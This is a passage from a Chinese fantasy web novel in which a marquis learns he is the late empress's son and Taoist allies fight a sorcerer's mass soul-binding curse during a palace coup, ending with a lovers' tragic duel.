侯爷请了无数京城名医与宫中御医,不是说无能为力,就是根本不敢医治。 最后实在无法,侯爷请来万佛山的大师查看,才终于得知孩子是中了咒。 大师慈悲为怀,愿意帮孩子破咒。可此咒极其凶狠,大师为破咒耗尽了心血,当场撒手西去。 孩子身上的恶咒虽破,但他无法与女子靠近的恶疾却是胎里带的,此后愈演愈烈,以至于靠近女子三尺之内便会发狂打人。 但好歹命是保住了,只要不靠近女子便一切正常。孩子就这样一年年长大。 老身本以为他会一直这样以慕家人的身份活下去,不会再被卷入宫廷之争。没成想宫中那位却还是不肯放过他。” 第408章 408.姑母绝不会放过她 “没成想宫中那位却还是不想放过他。 如今逼不得已,老身也该将真相全盘托出。至于之后那孩子如何选择,就看他自己的想法了。” 黎老夫人的故事讲完,她一手颤抖着从怀中取出一封信及一块龙纹玉佩。 “这是当年李公公留下的书信及信物。怀瑾,娘是时候该交给你了。” 慕怀清接过书信和信物,将其交至慕怀瑾手中,“大哥,这是先帝赏赐给先皇后的玉佩。你只要拿着此玉佩,便可证明自己的身份。” 慕怀灵亦心情复杂地向慕怀瑾道:“大哥,我也没想到你真不是爹娘亲生的。不过我们从小生活在一起,感情早已胜过血缘。无论你将来如何选择,你永远都是我们的大哥!” 慕怀瑾望着手中书信上,与方才那封信上一模一样的纹章,以及这枚龙纹玉佩,心中百感交集。 命运真是喜欢与他开玩笑。 谁能想到,做了三十年慕家人的他,今日竟得知自己居然是先帝后的儿子。 可他却一点都不想承认自己的身份。 如今朝堂大乱,皇上太后与鄞玄之间,已是剑拔弩张。 若此时自己再揭开身世横插一脚,则会令局势愈加复杂。 况且,他早已习惯自己慕家人的身份,将老侯爷与老夫人看作爹娘。 现下突然告诉他,那两位他从未谋面的帝后才是他的爹娘,这让他如何接受? 慕怀瑾低着头怔愣良久,而后缓缓站起身,一步步向黎老夫人走去。 来到老夫人身前三尺处,突然扑通一声双膝跪下。 “娘,不管孩儿是谁的孩子,您和爹永远都是我的爹娘!” 慕怀瑾这一跪,登时跪在了黎老夫人的心坎上。两行略显混浊的泪,缓缓从她那爬满纹路的眼角滑落而下。 黎老夫人伸手想去抱抱他,却顾及着他的疯症不敢靠近,只得倾着身子向他伸出手去,忍住泪意哽咽道: “好孩子快起身吧。娘明白你的心。你也永远都是娘的儿子,都是我们慕家的骄傲。” 此时在正厅中的慕家人望见这一幕,皆不由得红了眼眶。 大长公主亦望定定凝视着慕怀瑾,仿佛从他身上看到了先皇后的影子。 皇后姐姐你看到了吗?你的儿子还在世。他有着你的眉眼,你的正直纯善,已成长为一位顶天立地的好男儿。 你的在天之灵,可否有些许安慰? 少倾,徐莞行至他身侧将他扶起,安抚了众人的情绪后,大长公主问: “老姐姐,你可知那个谋害先皇后与皇子之人是谁?” “那人从未真正露过面,但老身清楚,她时常会命令她手下那个懂得邪门歪道之人,对怀瑾与侯府中人下手。 无论是怀瑾幼时中的恶咒,还是去年云裳坊杨嫂与温裁缝化为厉鬼害人,都是那个邪门歪道的手笔。” 在场众人悚然一惊。 慕怀灵顿时汗毛竖立,“娘…您的意思是,杨嫂跟温裁缝也是幕后那人为了对付永嘉侯府而害死的?” “对。” 此话一出,徐莞与慕怀瑾终于想通。原来他们遇到的每一件凶险离奇之事,皆是卫颐所为。 “老姐姐您说的邪魔外道,难道是钦天监监正卫颐?” 大长公主在皇宫与京城活了一辈子,对皇室及朝中形势了若指掌,自然了解卫颐此人,因而瞬间便猜到了卫颐头上。 随即,黎老夫人望着她缓缓点了点头,“当初老身允了怀瑾与菀菀的婚事,也是看在菀菀身怀道术,说不定能帮怀瑾解了身上的恶疾。若是卫颐又对侯府下咒,菀菀也好助侯府化险为夷。” 黎老夫人说着,侧过脸来含笑望向徐莞,“老身果然没有看错,菀菀也是个好孩子,与怀瑾伉俪情深,又护侯府安宁。菀菀,娘该谢谢你。” 徐莞忙不迭摆手,“娘折煞我了。怀瑾乃天龙之命,神兽麒麟都屈尊出山助其成就大业。我也是受师父所托嫁进永嘉侯府。这就是他的命数,命中自有贵人相助。” 话音落下,慕怀瑾侧过头轻轻握住她袖中的手,向她浅浅一笑,“谢谢菀菀。你就是我命中的贵人。” 这一笑,融化了方才慕怀瑾面上的忧虑与纠结,仿佛冰川上的雪莲,在霜寒冷冽的冰雪中缓缓绽放,凌寒傲雪,坚韧惊艳。 一旁众人望见他们二人这般心心相惜,皆不由得露出欣慰祝福的微笑。 片刻后,大长公主又道:“仅靠卫颐一人,怕是不可能做到害死先皇后,又一直想要谋害小皇子。他背后一定有人指使吧。此人难道是…太后?” 此话一出,厅内众人皆未反驳,而是望着大长公主,露出“正是如此”的表情。 大长公主顿时再次勃然大怒,一拍手边的案几,腾地站了起来。 “该死的贱人!先皇后可是她的亲姐姐啊!她竟然如此狠毒,要将他们母子赶尽杀绝!” 柳嬷嬷在一旁连忙劝阻,“殿下息怒,莫要气坏了身子让自个儿受罪啊。” 大长公主连喘几口气,却还是压不住心中的恨意。 “当年她还是淑妃时,本宫就看她不顺眼。没成想她果然如此心狠手辣。早知如此,当初就该寻她个错处,让皇兄将她发配到冷宫去。 可偏偏先皇在先皇后崩后,最为宠幸淑妃,不到两年便诞下皇子,又将其册封为皇后。这其中,不会也有卫颐相助吧。” 徐莞意有所指道:“卫颐已年过不惑,面容却似二十来岁的男子。太后今年也至不惑之年了吧。容颜看起来却还似少女一般,想必定然没少吃卫颐的丹药。” “呵呵…”大长公主冷笑几声,“原来如此。净整这些邪门歪道,迟早有一天会被其反噬。 不过那贱人和他的儿子也是该死,事到如今还敢谋害本殿的侄子。怀瑾你放心,姑母定不会轻饶了他们!” 大长公主的语声落下,慕怀瑾恍然意识到,大长公主是先皇的妹妹,正是他的姑母。 原来自己在这世上,还有血缘紧密的亲人。 意识到此的慕怀瑾,不禁对大长公主点头感激道:“多谢姑母。不过可能不用您出手,宫中那二位的末日也不远了。” 第409章 409.鄞玄的谋划 “或许不用姑母出手,宫中那两位的末日也不远了。” 慕怀瑾的话音落下,大长公主即刻眼风一转望向他,“此话怎讲?” 慕怀瑾语声悠长道:“太后先前借我等之手除去了何钦魏志鸿等人,如今又想反手除掉鄞玄和我。但她如此急迫地行事,反而会遭反噬。” “你的意思是…鄞玄…” 慕怀瑾点头打断大长公主的话,“姑母近几日最好待在府中莫要出门,保护好自己。待混乱一过,谁输谁赢自会见分晓。” === 夜半亥时,月明星稀。 藏蓝色的天幕中一丝云也无,更衬得这夜色静谧怡人。 伴着吱吱的蝉鸣,与偶尔一两声的鸟鸣,慕怀瑾独自一人坐在松风苑的花园中的软榻上,一面酌着小酒,一面仰望星空,想着心事。 徐莞洗漱沐浴完毕,在房中却不见慕怀瑾的身影,遂踱步到花园中,便见慕怀瑾身披月华,对影独酌。 “原来你在这里。一个人偷偷喝酒也不喊我。”徐莞说着,笼了笼肩头的衣襟,向他走了过去。 慕怀瑾闻声稍稍侧头,望见徐莞便略略勾了勾唇角,放下酒杯向她伸出手臂。 “过来。” 徐莞轻轻走到他身边,被他一弯手臂勾住腰,再轻轻一拉,便被他拉入怀中。 徐莞轻靠在他的胸口,被他从身后半拥住,这种舒适亲密的感觉,渐渐让二人都放松下来。 “还在想今日之事,嫡皇子殿下?”徐莞侧头向后望去,向慕怀瑾打趣道。 慕怀瑾霎时忍不住轻嗤一声,低头笑了出来,“你也会取笑我了菀菀。” “可不是嘛。没想到我嫁的真是天龙人。之前我真是小看你了夫君。” 慕怀瑾又忍不住颔首低低地笑,徐莞靠在他胸口,感受到那微微的颤动,自己也不禁笑了出来。 笑闹之间,慕怀瑾不由得收紧手臂将她抱得更紧。徐莞也不自觉往他怀中靠,与他挨得更紧。 少倾,二人笑意渐息,都不约而同暗暗吐出一口气,静静望向夜空。 徐莞忽然问道:“那么你是如何想的呢?想不想揭露身份,去争上一争?” 慕怀瑾听罢沉默半晌,良久才开口道:“我还不知…一面我想护好侯府,不想趟这趟浑水。一面却又得知了害死我亲娘的仇人,想为我娘报仇。所以我真不知该如何做了。” 徐莞轻叹一声,“我明白你的心情。此事事关重大,若是处理不妥或许会将局势引向不可控的方向。所以怀瑾,我劝你慎重。因为一旦你的身份暴露,就永远无法再回到如今的日子了。” 慕怀瑾缓缓点头,“嗯,这也正是我顾虑的。” 说着,将她的手托至唇边,轻轻印上一吻,“我向你保证,做决定之前都会与你商议。” 徐莞眉眼含笑望着他形状美好的唇,贴在自己手背上,语声轻软道:“无论你想如何做,我都支持你。” 慕怀瑾亲完后抬起头,垂眸睨着她的眸子,欣慰又感动地一笑,“谢谢你菀菀。” 这一刻,二人之间再也无需其他言语,皆明白对方的心意。 明白无论发生何事,对方都会站在自己身边。 渐渐地,二人不约而同向对方靠去,越来越近,近到能闻见对方身上的酒香与熏香。 就在他们的唇快要碰到之时,忽然,一阵急促的马蹄声,在府外响起。 随后,越来越多的马蹄声,如雷鸣般轰然不绝。 慕徐二人猝然坐直身子,目光望向侯府高墙外,聚精会神倾听着。 “外面发生了何事?”徐莞语声中带着一丝警惕。 慕怀瑾又侧耳倾听了片刻,嘴角竟弯起一抹略带兴奋的弧度。 “是禁军出动了。” “禁军?是要去对付谁?鄞玄?” “对。”慕怀瑾回头望向徐莞,将近几个月来鄞玄所做的准备,尽数告诉徐莞。 “自今年年初,阿伽便向我和祎仁暗中表示,想积攒自己的势力,以防太后皇上将他赶尽杀绝。 我与祎仁都欣然答应。祎仁帮他在朝中牵线搭桥,我则出银子,帮他招兵买马。 我托商友从乌兹国买了粮草十吨,战马五百。又花钱帮他暗中招兵一万,购买兵器若干,在沧源镇兴建军事。 沧源镇被查后,又帮他将原先雪暴军的营地扩建了两倍,搭好防御兵势,准备好一切后勤之事。 我们等待的,就是太后与皇上沉不住气,主动挑起战争这一日。 只要禁军冲出京城向沧源镇而去,路上就定会受到鄞玄一部分人手的伏击。 待禁军与他们认为的叛军大战在一起时,鄞玄的主力则会趁机冲入京城,直入皇宫,以太后干政为由清君侧。 到时,他们会将太后捉拿,再让皇上出些意外。 国不可一日无君。与鄞玄结盟的朝臣便会拥护他为新帝。 至此,昏庸国君,及污秽的朝堂被清洗一新,盛国将在鄞玄的统治下,愈加强大昌盛。” 慕怀瑾的一席话说完,徐莞心中微讶。 她虽多少猜到鄞玄在暗中图谋着什么,但没想到慕怀瑾与周祎仁在幕后帮了他这么多。且这段时日慕怀瑾一丝一毫都未向她透露过。 “好你个慕怀瑾!你们在暗中办了如此大事,竟一个字都未对我提过。你可真是嘴严啊。”徐莞向他嗔怒道。 慕怀瑾搂过她的肩,安慰道:“确实是我对不住。但此事事关重大,越少人知晓便越安全。 况且我未告诉你们,也是想保护你们的安全。” 徐莞重哼一声,丢给他一个白眼,“无所谓了,反正我鄞玄之事也不感兴趣。不过,你们的谋划,真会像你说的如此顺利吗?若是未成功该如何?” “不会。鄞玄已获知了留在京城中的禁军人数及部署。到时他会留出两倍于京城禁军与京卫的人数,确保万无一失。” 徐莞无奈地撇撇嘴,“好吧,不过我总觉得不会像你说的那般顺利。有卫颐在,他说不定又会整些邪魔歪道。” 慕怀瑾又忽然赖皮似的抱住徐莞的腰,“这不是有我夫人菀菀在吗?若是卫颐施展恶咒,便拜托你出手了。” 徐莞斜睨他一眼,哎真是拿这个男人没办法,谁让他是自己的夫君呢? 第410章 410.血魂咒 徐莞白了一眼身侧的男子,无奈地想,谁让这个男人是自己的夫君呢。 少倾,慕怀瑾正色道:“好了,我们也该回房休息了。这两日关好府门莫要外出。待鄞玄的兵力控制住京城后,他自然会派人来传我们。” === 第二日,定北王起兵谋反之事,顷刻间传遍整座京城。 城内一切店铺皆闭门歇业,整座京城被京卫与禁军看守得恍若铁桶。 城内的法官贵族与百姓们,也都大门紧闭,生怕两方交战时误伤,或有劫匪歹人趁乱作恶。 第三日,慕怀瑾本以为能收到定北王大军攻入京城的消息。 但直到第四日,慕怀瑾与徐莞才通过传讯符,从周祎仁处得知了意外情况。 “怀瑾徐观主,大事不好啦!” 慕徐二人与慕怀灵朱雀白虎等人,皆围在传讯符周围,听着周祎仁的嗓音,从符纸中传出。 “城外来报说,将皇上派出的五千禁军,不知为何全都变成了不死不伤的怪物,且力大惊人。 将鄞玄安排在雪暴军营地的五千名士兵打的措手不及。 而那些怪物禁军如今又赶回了京城附近,堵截原本要攻城的定北王军队。 此时两方正在城外激战,鄞玄的军队处于下风。若是再不想想办法,恐怕就会全军覆没!” 众人听罢皆是一震,心内止不住地惶恐焦虑。 “怎么会这样!鄞玄哥哥和冷大哥还好吗?”慕怀灵焦急地问。 “鄞玄平安,冷锋受了一点小伤,但并无大碍。他们二人此刻正在城外,与大军一同对抗禁军。若是没有办法阻止那些怪物禁军,他们便凶多吉少了。” “不死不伤的怪物?难道是卫颐又施了何种恶咒?”慕怀瑾即刻望向徐莞,“菀菀你知道有这种恶咒吗?” 方才未说话的徐莞,此时微微抬首望着天空,面容凝重道:“卫颐可能施展了血魂咒。” “血魂咒是什么?”朱雀问。 徐莞起身,一面踱步,一面解释道:“血魂咒乃道门头等邪恶的禁术。乃用咒法将凡人的魂魄提取而出,置于阵法之中控制他们。 凡人的肉身便成了行尸走肉,无论受多严重的伤都不会死,且无血也无痛感,就像一具会行走杀人的死尸。” “那五千禁军的魂魄都被卫颐提取出来,还能再放回去吗?”白虎听着徐莞的描述,脊背发凉。 徐莞转身道:“魂魄都取出来置入阵法中了,哪还有放回去的道理。” 白虎面色霎时一白,“如此说来,那五千禁军…其实已经死了?” 徐莞沉痛地点头。“…对。” 朱雀愤然骂道:“该死的妖道!为了打胜仗竟害了五千人的性命!” 徐莞又向天空望去,“我能看到那五千禁军的冤魂,在京城上空盘旋。他们悲伤,愤怒,却又无能为力。 那些冤魂被卫颐的阵法困在此处,无法投胎,亦无法回到自己的肉身中。 待战争结束,他们便会被卫颐用玉拂尘抹去,彻底消失在三界六道之中。” 听着徐莞的话,朱雀好似也能感觉到那些魂魄的怨气与阴气了。 慕怀瑾等人虽看不见魂魄,但头顶上方那阴云密布的天空,亦让他们觉得压抑阴冷无比。 “菀菀,你有法子破血魂咒吗?”慕怀瑾问。 徐莞缓缓点头,“有是有,但还需两位道法高强者与我等全力配合。” “此话怎讲?” “方才说了,想要发动血魂咒,就要把凡人的魂魄提取出来置入阵法中。 而此次魂魄有五千之多,所需的阵法必然极其之大,仅凭卫颐一人亦无法控制此阵法。 据我推测,他定会在京城东南西北四方,各安排一位守阵之人。所以我们也要有四位道门中人,同时去破四方的守阵之人。 我与怀瑾,朱雀与白虎可负责两个方位,但还需两位道长去破另外两个方位。” 话至此处,庭院内众人都犯了难。他们眼下仅有徐莞跟朱雀懂得道法,还能再去何处寻两位道门高人? 就在此时,白虎忽然灵光一现道:“师父,可不可以将您的师兄,也就是我们的师伯请回来?我记得之前对付镜魔时,就是师伯及时出现救了你们。” 徐莞听罢沉默半晌。她不是未想过将师兄沈明澈及师叔无境请来。 但师兄和师叔都是闲云野鹤的性子,就算自己开口,也不知他们是否愿意前来帮忙。 并且眼下破阵在即,若是等他们回京,说不定鄞玄的大军早就被斩杀殆尽。 思及此,徐莞正要摇头拒绝,庭院上方的乌云忽然旋转起来。 “师父快看!这是怎么回事!”白虎仰头叫道。 众人齐齐抬首望去,但见他们头顶上方的大片乌云如漩涡般沿着一个方向缓缓旋转,片刻后竟从中央漏下一缕明亮的绿光。 而在这绿光之中,两个人影如仙祉般翩然落下。 只见这二人一位白衣飘飘,容颜俊逸非凡,手持玉笛,气质清冷出尘。 另一位衣衫上皆是补丁,手中拿着一酒袋,斜坐在云彩上,一手撑着云朵,举着酒袋逍遥畅饮。 正是徐莞的师兄沈明澈,与师叔无境。 少倾,二人稳稳落地。徐莞又惊又喜地向他们迎了上去,“师兄!师叔!你们怎么都来了!” 沈明澈收起玉笛向徐莞淡笑道:“菀菀,我算到京城有变,所以特意赶回来看看情况。 谁料竟有人用五千魂魄施展血魂咒,简直罪大恶极!想到你也在京城,定会需要帮助,所以我即刻赶来相助。” 而一旁的无境,则提溜着酒袋,混不在意道:“我本来不想来。可耐不住明澈以六十年的女儿红做饵。我才不得不来哇。” 无境说着,望向沈明澈道:“喂明澈,待此事解决后,你可别说话不算话啊!” 沈明澈无语地斜睨他一眼,“知道了师叔。” 朱雀白虎望见师伯跟师公及时出现前来相助,都兴奋欣喜不已。 唯有慕怀瑾带着戒备与醋意,一言不发望着沈明澈。 他还没忘记这小子对菀菀有心思,但奈何沈明澈是来助他们一臂之力的,因而慕怀瑾也不能说些什么。 第411章 411.送上战场 慕怀瑾虽看不惯沈明澈,但对方是来助他们一臂之力的,因而他也不好说什么。 遂,慕怀瑾向沈明澈与无境微微点头,沉声道:“多谢二位道长。” 众人打过招呼后,便与徐莞一同为稍后的大战做最后准备。 同时由沈明澈去京城东南西北四面各探了一番,返回后向众人汇报。 卫颐与一位女子在京城东面的城墙上守阵,正对着战况激烈的双方军队。其余三面,则由卫颐的三位徒弟守阵。 于是,徐莞根据各个方位的情况,做最后的破阵安排。 “师叔负责北面,师兄负责南面,朱雀白虎负责西面,我与怀瑾负责卫颐所在的东面。 你们务必拖住那守阵之人。我与怀瑾会想办法夺回玉拂尘,用玉拂尘解开火麒麟的封印,让麒麟大仙将那邪魔歪道斩杀。其他三方,便可不攻自破。” 安排妥当,众人皆无异议,便准备出发启程。 离开之前,永嘉侯府的黎老夫人,慕怀灵,慕怀清一家三口,许久未露面的慕老太,以及侯府上下的二十多名丫鬟家丁,皆聚在前院中目送他们出府。 阖府中人皆沉浸在一派担忧不舍的氛围中。松风苑的陈嬷嬷,与东珠若画等几个丫鬟,早就哭作一团。 “怀瑾啊,你与菀菀无论如何都要平安归来。娘在府中等着你们!” 黎老夫人带领着一众府中人,手拄拐杖,在慕怀灵的搀扶下,向他们谆谆嘱咐。 “娘您放心吧,有大嫂在,大哥他们定能化险为夷。”慕怀灵说罢,又向慕怀瑾急急道:“对了大哥,你们战胜卫颐后,记得帮我看看冷锋怎么样啊!” 慕怀瑾:“……”都什么时候了,这妹妹脑子里想的净是冷锋… 慕怀清夫妇也依依不舍道:“大哥大嫂,府里有我们,你们放心去吧!相信你们定能铲除奸佞,还大盛朝堂清明。” 就连从前对徐莞看不过眼的慕老太,此时也态度软了下来,在嬷嬷的搀扶下,对他们道: “怀瑾,你们保护好自身安危。煜衡已经不在了,我们慕家不能再没有你了。” 末了,慕怀瑾深吸一口气,目光自那一张张熟悉的面孔上一一滑过,沉稳坚定道:“我慕怀瑾与吾妻徐莞,以及各位道长,定会不辜负大家的期望,平安凯旋。” 语声落下,慕怀瑾徐莞,朱雀白虎,沈明澈无境六人,在永嘉侯府上下三十多口人的目送下,从容坚毅地走出大门。 之后毅然向各自安排的方位而去,不带一丝犹疑,眼中尽是笃定。 凌厉的风,夹杂着灰尘和碎屑打在慕怀瑾与徐莞二人面上。 二人迎着劲风,仅仅一盏茶的功夫,便已来到京城东面城墙之下。 他们微微眯着眼,一同抬首向上方望去,但见一白一红两个身影,正立在城墙上,相倚而立,轻盈纤长的衣袂,在劲风中簌簌飘扬。 那白衣男子身形高挑挺拔,正是卫颐无疑。 而那红衣女子,身形娇小柔媚,竟是刘云蕊。 “刘云蕊?”慕怀瑾也注意到了她,“卫颐为何会带着她一同守阵?” 徐莞微微眯起眼,摇着头道,“那不是刘云蕊。她的肉身中又换了芯。” 慕怀瑾对她的话有些疑惑,但还不等他细问,徐莞便侧头向他说:“我们上去吧。” 话毕,徐莞一挥衣袖,立在门下驻守的几名京卫,便齐齐陷入一种茫然恍惚的状态。 徐莞便趁此时机,拉着慕怀瑾一同向城墙上方飞去。 登上城墙后,可见在城楼前方的空地上摆着一阵法,卫颐与“刘云蕊”正立在阵中,面向城外注视着双方军队厮杀的战场。 城墙上还驻守着大量禁军。徐莞扬手扔出一道符纸,再施咒击中。 一片金光从符纸中扩散而出,将城楼上的一众禁军尽数击倒在地昏了过去。 卫颐听到动静转过身来,望见徐莞与慕怀瑾出现,面上并未露出惊讶之色,反而向他们浅浅一笑,悠然开口: “侯爷,夫人,卫某在此等候二位多时了。哦不,应该称呼你为徐观主才对。” 慕怀瑾抬眸定定望着卫颐,眼中似有万年寒冰,能将人顷刻冻结。 “卫颐,你用五千禁军的魂魄施展血魂咒。如此滥杀无辜,该当何罪?” 卫颐听后却笑了出来,“皇上将统领禁军之权交给我,命我铲除叛军,平定内乱。卫某乃奉皇命行事,何罪之有?” 他的话音刚落,徐莞便意味深长地开了口,“依我看,平定内乱是假,想借这五千魂魄复活一抹精魂,才是你的真正图谋吧。” 自己图谋的被徐莞一语道破,卫颐瞳孔猛地一缩,魅惑的笑容也僵在嘴角。 徐莞望着他们继续道:“如果我没看错的话,现下这个女人的肉身中,是一只妖精的魂魄。而你做的所有的一切,就是为了将那妖精彻底复活。” “是又如何!” 卫颐身侧的阿茵早就感应到慕徐二人散发出的强大灵力与紫气。因而她又惧怕,却又不想失了气势: “我与卫颐真心相爱。你们却说什么人妖不可相恋,硬是将我打得魂魄碎裂。卫颐想要复活我继续与他在一起,有何不可?” “如果你们躲进深山老林去相爱,没有任何人会管你们。”徐莞忽然肃起表情,语气也急转直下: “可是,你们为了在一起,害了多少人的性命。如今又提取出五千人的魂魄。同为道门中人,卫颐,你应该清楚自己造了多大的孽! 还有刘云蕊这姑娘最是无辜。被一个男人伤了心,如今又被你害得丢了肉身,不知她的魂魄已彻底消失,还是还有一息尚存。” 卫颐微微扬起下巴,没有丝毫悔过之意,“只能怪她自己识人不清。被骗了一次还不清醒,竟会被骗第二次,真不能怪我。” 而在他们说话的同时,刘云蕊的魂魄在阿茵的体内,还有一息尚存。 但她只能无力地缩在黑暗的角落望着他们,什么都做不了。 第412章 412.你死我亡 刘云蕊虽然还有一息尚存,却只能窝在黑暗的角落,什么都做不了。 卫颐说的不错,都怪她又傻又天真,被男人骗了一次不够,竟又骗了第二次。 可她还能怎样?难道还能战胜阿茵,重新控制这具肉身不成? 徐莞细细望了阿茵片刻,隐约看出些刘云蕊的魂气。 于是向她朗声道:“刘云蕊!若是你还能听到我的话,这次必须相信我,也要相信你自己。 无论这个妖精的魂力有多强,你记住,你才是这具肉身的主人。你若是想继续活下去,就将这个入侵者赶出去。你可以做到!” 阿茵嘲讽道:“你省省力气吧。她就算能听见,也无力反抗了。” “徐莞,你若是想救刘云蕊,还有那五千禁军,我劝你别白费力气了。这五千禁军已死,就算你杀了我,他们也无法复活。” 卫颐的目光转向慕怀瑾,“还是说,你们想帮着定北王谋反?” “都不是。”慕怀瑾微眯双眼望着卫颐,眼中多了一丝凛冽杀意,“今日我要为我娘报仇。” “你娘?”卫颐微顿,随后便反应过来,“原来你已经知道了。”但神情中却无丝毫慌乱。 “你在我娘怀有身孕时便向她下咒,害她难产而亡。这三十年来你依然在暗中谋划,想取我性命,甚至伤害慕家。 如今我已得知自己的身世,就断不会让你再继续作恶下去!” 说着,慕怀瑾一抖衣袖,一只巴掌大小的火麒麟倏然从他袖中飞出,不时喷着火,发出一声声龙吟,在慕徐二人周身盘旋。 与此同时,一股强大的紫气从他的体内喷涌而出。 阿茵不禁一慌,下意识地侧身往卫颐怀中躲去。 卫颐一手护住阿茵,另一手旋即取出玉拂尘轻轻一挥,便将那股紫气打散。 随后轻蔑地笑着道:“慕怀瑾,纵使你身负紫气,又有麒麟相助。但没有我手中的玉拂尘,解开火麒麟的封印,它就像个小玩偶,对我们无丁点威胁。” 慕怀瑾立在原地岿然不动,微眯双眼冷声道:“就算没有火麒麟加持,我与菀菀也能将你们打败。” “是吗?”卫颐拉长着语调,挥动玉拂尘,将拂尘须搭在自己左臂上,垂眸望着那光洁顺滑的拂尘,一副胜券在握之态。 徐莞从小荷包中取出伏魔鞭,将其缓缓绕在手掌中,目光一瞬不瞬望着卫颐与阿茵。 “既然你无丝毫悔过之意,我们也多说无益。动手吧,今日本观主定让你这道门恶徒万劫不复!” === 在东门城墙上四人即将展开一场殊死决战之时,朱雀与白虎也赶到了西面城墙之上。 而在此处等着他们的,正是让朱雀恨之入骨的流星! 在望见流星身形的那一刻,朱雀心中蓦地一震,一股天命之感,顷刻间击中她的心脏。 “流星,老天有眼,终是给我机会,让我能亲自手刃你了。” 朱雀白虎与流星,在城墙上相对而立。 天空阴云密布,光线却极强,刺得他们有些睁不开眼。 流星转过身,嘴角依旧带着那抹熟悉的玩世不恭的笑,望着朱雀坏坏一笑: “炮仗小姐,我们又见面了。” 听到这个熟悉的称呼,朱雀蓦地心头一刺,往日与流星相处的一幕幕,瞬间涌上朱雀心头。 记忆中流星那英朗俊秀的笑颜,与此时他嘴角坏坏的笑重叠在一起,朱雀却觉得很是讽刺。 一想到从前的她还将这个人当作一生的依托,就令她无比难堪。 “闭嘴!少用你那恶心的嘴脸再叫我,你不配!” 一旁的白虎,目光在他们二人面上来回跳跃,很是紧张担忧。 “流星大哥,你是不是被卫颐控制了?如果是的话你告诉我们,我们去找师父,她一定能帮你的!” “白虎!”朱雀猛地一吼打断他,“还为这个混蛋找什么借口!若是他真有苦衷,早就可以来找我们,何必等到此刻?” 话至此处,她顿了顿,再次望向流星,一字一句道:“流星,准备好的话就动手吧。今日不是你死,就是我亡!” 对面的流星定定望着她,嘴角的笑容渐渐松了下来,眼底露出一抹悲凉决绝。 “好,今日我们也该做个了结了。” 可惜朱雀却并未注意到他神态上的异常,而是手持短剑疾速向他冲去。 白虎在身后向她高喊一声,“姐姐!”却根本无法阻止朱雀与流星二人开战。 只见朱雀冲至流星面前,持剑向他劈砍而去。 流星却立在原地岿然不动,仅抬起手中长剑,准确无误挡住她的短剑,再一翻手腕,便将她的短剑一扭,让朱雀也跟着转开身去。 控制好自己平衡后,朱雀再次转过身瞪向流星,但见对方面无表情地望着自己,仿佛根本没有将她放在眼里,同时还开口激怒她。 “你就这点能耐?之前说要练好武艺打败我,都是吹牛吗?” 这句话果然激怒了朱雀,她缓过劲后又发狠似的提剑向流星刺去。 这一次流星微微侧身躲过,而后抬起手肘向朱雀胸口击去,朱雀再后退一步躲开,两人顺势便缠斗在一起。 昔日亲密无间的恋人,如今却双双拔剑相向,招招凌厉狠绝,恨不得置对方于死地。 白虎立在一旁也无可奈何,只得望着他们激烈打斗干着急。 随后,朱雀又催动灵力使出各种符纸,却都被流星一一化解。 朱雀此时才知,原来流星的道法竟比她还要高强。 “流星,原来你也懂道法。你到底还有多少事瞒着我!” 流星一副满不在乎的表情,漠然道:“瞒着你又如何?你知道又能怎样?左右你我二人今日要走一个,你知不知道根本不重要。” 朱雀微喘着气,强抑住胸中的恨意道:“好,那我们便一招决胜负吧。” 说罢,朱雀催动周身灵力,将手指覆在剑刃上一划,一道血痕霎时出现在剑刃上。那柄短剑也顷刻间泛起红光。 流星瞳孔微缩,她竟使出了封临诀。封临诀可将自身灵力放大十倍,但若放大十倍后对方灵力还在其之上,那么用诀者便会被反噬而亡。 第413章 413.死而无憾 封临诀可将自身灵力放大十倍,但若放大十倍后对方灵力还在其之上,那么用诀者便会被反噬而亡。 看来朱雀已经对他恨之入骨,甚至愿意与他同归于尽。 但流星是不会允许这一幕发生的。 是时候做个了断了。 遂,在朱雀持剑向他飞身刺来之时,剑尖眼看着就要刺入他的胸口,流星周身的灵力忽而一缓,右手一松,手中的长剑便脱手缓缓向地上落去。 与此同时,原本面上一派漠然的流星,嘴角却露出一抹释然又幸福的笑。 而当朱雀注意到这一幕时,却已经来不及了。 流星的每一个动作和表情,在她眼中,都好似慢放一般,就连长剑也是一点一点下坠。 如同此刻朱雀的心脏,一点一点坠了下去。 她刚想喊出“不要!” 但只闻“嗤”的一声,她的短剑已贯穿流星的心脏。 剑尖自他背后穿出,一滴一滴鲜血,从剑尖上滴落而下。 周遭好似顷刻间进入了真空状态,就连白虎奔至他们身边,疯狂喊着什么,朱雀也听不见,只有那啪嗒啪嗒的血液滴落声,恍若惊雷砸在朱雀头顶。 “流星!你…你怎么…” 朱雀难以置信地望着眼前一幕,流星却还保持着那坏坏的笑,趁她愣神时,抬起手臂将她连人带剑一同揽入怀中。 同时又是嗤的一声,短剑更深地刺了进去,而流星却仅闷哼一声,之后就在朱雀耳边长舒一口气,低低地说: “我…终于…办到了…” “什么…” 朱雀整个人刹那间懵在那里,仿佛感觉不到自己肉身的存在,只有一颗心激烈狂跳。 她想推开流星看看到底怎么回事,流星却将她死死按在怀里,不让她出来。 “别动,就让我这样再抱抱你…恐怕再过一阵,我就再也抱不到了……” 朱雀蓦地一僵,脑中一片空白。 流星在说什么…他是不是还在骗我…还是…… 朱雀的眼睫忽然不受控制地激烈颤动,而后眼底忽然一热,一股泪意便涌了上来。 “流…流星…你怎么了?你到底怎么了?” 朱雀心慌不已,连声音都在抖,她感觉到流星的手臂有些松劲,于是小心翼翼地推开他。 没成想,刚一推开,流星便仰面向后倒去。 “流星!” “流星大哥!” 朱雀与白虎忙不迭一同伸手,才终于将他拉住。 朱雀与白虎一左一右跪坐在流星两侧,朱雀将他的上身托在臂弯中。 他胸口处插着的那柄短剑下,鲜血正缓缓从伤口处渗出,染红了那处衣襟,看起来触目惊心。 “流星大哥,这到底是怎么回事!你到底为何要骗我们!” 白虎亦跪在流星身旁,望着身受重伤,奄奄一息的流星,白虎也忍不住失声痛哭。 流星勉强扯扯嘴角,淡淡一笑,“我…不想让你们为难…更不想你们受伤… 还好…我的计划成功了……朱雀,只要你亲手杀了我…同心咒就不会传到你身上。” “什么?同心咒?” 直至此刻,朱雀才终于明白流星这一系列的操作到底为何。 一股极强的寒意,从她的脚底瞬间漫了上来,令她不自觉地浑身剧烈颤抖起来。 “不…你…你怎么这么傻!你中了同心咒,告诉我们啊!你怎么能就这样…… 流星你这个混蛋!你为什么不说呜呜呜……” 喊着喊着,朱雀的眼泪终于似决堤一般,从眼眶汹涌而出。 她紧紧抱着流星,将头埋在他的胸口放肆地呜呜大哭。 